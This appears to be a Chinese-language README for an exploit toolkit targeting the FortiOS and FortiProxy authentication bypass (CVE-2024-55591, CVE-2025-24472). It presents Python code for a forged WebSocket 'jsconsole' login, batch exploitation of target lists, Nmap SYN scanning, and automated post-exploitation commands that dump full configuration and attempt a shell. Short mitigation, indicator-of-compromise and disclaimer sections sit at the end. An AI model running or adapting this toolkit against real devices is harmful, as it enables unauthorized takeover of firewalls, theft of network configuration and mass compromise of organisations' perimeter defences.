FortiGate 身份验证绕过漏洞利用工具包
一个针对 Fortinet FortiOS 和 FortiProxy 设备关键身份验证绕过漏洞(CVE-2024-55591、CVE-2025-24472)的综合性 Python 利用工具包。
功能特性
- 自动化依赖管理 :自动检测并安装
requests、urllib3等必需的 Python 库 - 智能端口发现:集成 Nmap SYN 扫描,自动发现目标开放端口
- 双协议利用:同时支持 HTTP 和 HTTPS 两种模式的 WebSocket 利用尝试
- 多目标批量处理:从文本文件读取多个目标,进行大规模自动化检测与利用
- 并行利用策略:支持并行测试多个端口和多个字典用户名,提高利用效率
- 版本漏洞检测:自动解析设备版本并与已知受影响版本范围进行比对
- 后渗透命令集:成功利用后自动执行扩展命令,包括系统诊断、崩溃日志读取等
- 灵活的利用配置:支持自定义初始命令、用户名字典及后渗透行为
- 详细的响应输出:可选显示原始 WebSocket 通信,便于调试与日志记录
安装指南
系统要求
- Python 3.x
- Nmap(用于端口扫描功能,非必需但推荐)
- 网络访问权限(用于测试目标设备)
依赖项
脚本会自动安装以下依赖:
requests- HTTP 请求处理urllib3- 安全的 HTTP 连接管理
安装步骤
bash
# 克隆仓库
git clone https://github.com/example/fortinet-cve-2024-55591
cd fortinet-cve-2024-55591
# 确保 Nmap 已安装(可选)
sudo apt-get install nmap # Debian/Ubuntu
# 或
brew install nmap # macOS
# 直接运行脚本(将自动检查并安装 Python 依赖)
python3 exploit.py
使用说明
单目标利用模式
交互式向导模式:
bash
python3 exploit.py
# 根据提示输入目标 IP/域名,选择是否进行端口扫描,配置利用参数
多目标批量模式
bash
python3 attack.py --targets targets.txt --user ScaryByte --command "get system status" --post-exploit
参数说明:
| 参数 | 说明 | 默认值 |
|---|---|---|
--targets |
目标列表文件路径(每行一个IP/域名) | 必需 |
--user |
用于登录上下文的假用户名 | ScaryByte |
--command |
利用成功后执行的初始命令 | get system status |
--post-exploit |
启用后渗透命令集 | 未设置 |
典型利用场景
场景一:单目标快速检测
bash
python3 exploit.py
# 选择不进行端口扫描,直接输入目标端口(443),尝试 HTTPS 利用
场景二:批量内网审计
bash
# 创建目标文件
echo "192.168.1.1" > targets.txt
echo "192.168.1.2" >> targets.txt
# 批量利用并收集系统状态
python3 attack.py --targets targets.txt --command "show system status" --post-exploit
场景三:渗透测试深度利用
bash
# 使用自定义用户名和命令集
python3 exploit.py
# 启用详细输出模式,捕获原始 WebSocket 通信用于分析
受影响版本
| 产品 | 受影响版本 | 修复版本 |
|---|---|---|
| FortiOS | 7.0.0 - 7.0.16 | 7.0.17+ |
| FortiProxy | 7.0.0 - 7.0.19 | 7.0.20+ |
| FortiProxy | 7.2.0 - 7.2.12 | 7.2.13+ |
核心代码
WebSocket 利用核心模块
python
def attempt_websocket_exploit(target_ip, port, use_ssl, username):
"""
尝试通过 WebSocket 进行身份验证绕过
参数:
target_ip: 目标 IP 地址
port: 目标端口
use_ssl: 是否使用 SSL/TLS
username: 用于伪造的用户名
返回:
bool: 利用是否成功
"""
protocol = "wss" if use_ssl else "ws"
ws_url = f"{protocol}://{target_ip}:{port}/ws"
# 构建恶意 WebSocket 消息
exploit_payload = {
"type": "login",
"username": username,
"password": "dummy",
"node": "jsconsole"
}
try:
# 建立 WebSocket 连接
ws = create_websocket_connection(ws_url)
# 发送利用载荷
ws.send(json.dumps(exploit_payload))
# 接收响应并检查是否绕过认证
response = ws.recv()
if "success" in response.lower() or "cli" in response.lower():
# 认证成功,获得 CLI 访问权限
execute_cli_command(ws, "get system status")
return True
except Exception as e:
log_error(f"WebSocket 利用失败: {e}")
return False
版本漏洞检测模块
python
def check_vulnerable_version(version_string):
"""
检查设备版本是否在受影响范围内
参数:
version_string: 从设备获取的版本字符串
返回:
bool: 是否为易受攻击版本
"""
# 受影响版本范围
vulnerable_ranges = [
{"product": "FortiOS", "min": "7.0.0", "max": "7.0.16"},
{"product": "FortiProxy", "min": "7.0.0", "max": "7.0.19"},
{"product": "FortiProxy", "min": "7.2.0", "max": "7.2.12"}
]
# 解析版本号
version_match = re.search(r'v(\d+\.\d+\.\d+)', version_string)
if not version_match:
return False
current_version = version_match.group(1)
# 比对版本范围
for range_info in vulnerable_ranges:
if is_version_in_range(current_version, range_info["min"], range_info["max"]):
log_success(f"发现易受攻击版本: {current_version} ({range_info['product']})")
return True
log_info(f"版本 {current_version} 不在已知受影响范围内")
return False
Nmap 扫描集成模块
python
def run_nmap_scan(target, port_range="-p-"):
"""
使用 Nmap 执行端口扫描
参数:
target: 目标 IP 或域名
port_range: 端口范围(默认所有端口)
返回:
list: 开放端口列表
"""
# 检查 Nmap 是否可用
if not shutil.which("nmap"):
log_error("Nmap 未安装或不在 PATH 中")
return []
# 执行 SYN 扫描
cmd = ["nmap", "-sS", "--min-rate", "500", port_range, target]
try:
result = subprocess.run(cmd, capture_output=True, text=True, timeout=300)
# 解析输出提取开放端口
open_ports = []
for line in result.stdout.split('\n'):
if "/tcp" in line and "open" in line:
port = int(line.split('/')[0])
open_ports.append(port)
log_success(f"发现 {len(open_ports)} 个开放端口: {open_ports}")
return open_ports
except subprocess.TimeoutExpired:
log_error("Nmap 扫描超时")
return []
except Exception as e:
log_error(f"Nmap 执行失败: {e}")
return []
后渗透命令执行模块
python
def execute_post_exploit_commands(websocket_session):
"""
利用成功后执行后渗透命令集
参数:
websocket_session: 活动的 WebSocket 会话
"""
# 后渗透命令列表
post_commands = [
"get system status", # 获取系统状态
"diag sys top", # 系统进程诊断
"diag debug crashlog read", # 读取崩溃日志
"show full-configuration", # 显示完整配置(部分系统)
"execute shell", # 尝试获取 Shell
"diag sys session list", # 显示活动会话
"get system performance status" # 性能状态
]
for cmd in post_commands:
log_info(f"执行命令: {cmd}")
try:
# 发送命令到设备
websocket_session.send(cmd)
# 接收响应
response = websocket_session.recv()
# 记录响应(截断过长输出)
if len(response) > 500:
log_data(f"响应 (截断): {response[:500]}...")
else:
log_data(f"响应: {response}")
except Exception as e:
log_error(f"命令执行失败 '{cmd}': {e}")
# 短暂延迟避免过度负载
time.sleep(1)
依赖安装自动化模块
python
def ensure_dependencies():
"""
自动检查并安装必需的 Python 依赖
"""
required_packages = ['requests', 'urllib3']
missing_packages = []
# 检查依赖是否已安装
for package in required_packages:
if importlib.util.find_spec(package) is None:
missing_packages.append(package)
# 自动安装缺失的依赖
if missing_packages:
log_warning(f"缺少依赖: {', '.join(missing_packages)}")
log_info("尝试自动安装依赖...")
for package in missing_packages:
try:
subprocess.check_call([sys.executable, "-m", "pip", "install", package])
log_success(f"已安装: {package}")
except subprocess.CalledProcessError:
log_error(f"无法安装 {package},请手动运行: pip install {package}")
return False
# 重新导入模块
for package in missing_packages:
globals()[package] = importlib.import_module(package)
log_success("所有依赖已就绪")
return True
检测与缓解
入侵指标(IoCs)
- 登录日志中出现
jsconsole(127.0.0.1)记录 - 异常的管理员账户创建记录(随机用户名)
- WebSocket 端口的异常流量
缓解措施
- 立即升级:将 FortiOS 升级至 7.0.17+,FortiProxy 升级至 7.0.20+ 或 7.2.13+
- 禁用管理接口:如非必要,禁用 HTTP/HTTPS 管理界面
- 访问控制:通过 local-in 策略限制管理接口仅对可信地址开放
- 禁用安全结构:如未使用 Security Fabric 功能,建议禁用
免责声明:本工具仅用于授权安全测试和教育研究目的。未经授权的使用属于违法行为。使用者必须遵守所有适用法律,并在获得明确许可的环境中进行测试。开发者不对任何滥用行为承担责任。 6HFtX5dABrKlqXeO5PUv/5mvCo4wxvbIbJpXnf/+DItjmwVz2a95hSaGEg0tOop3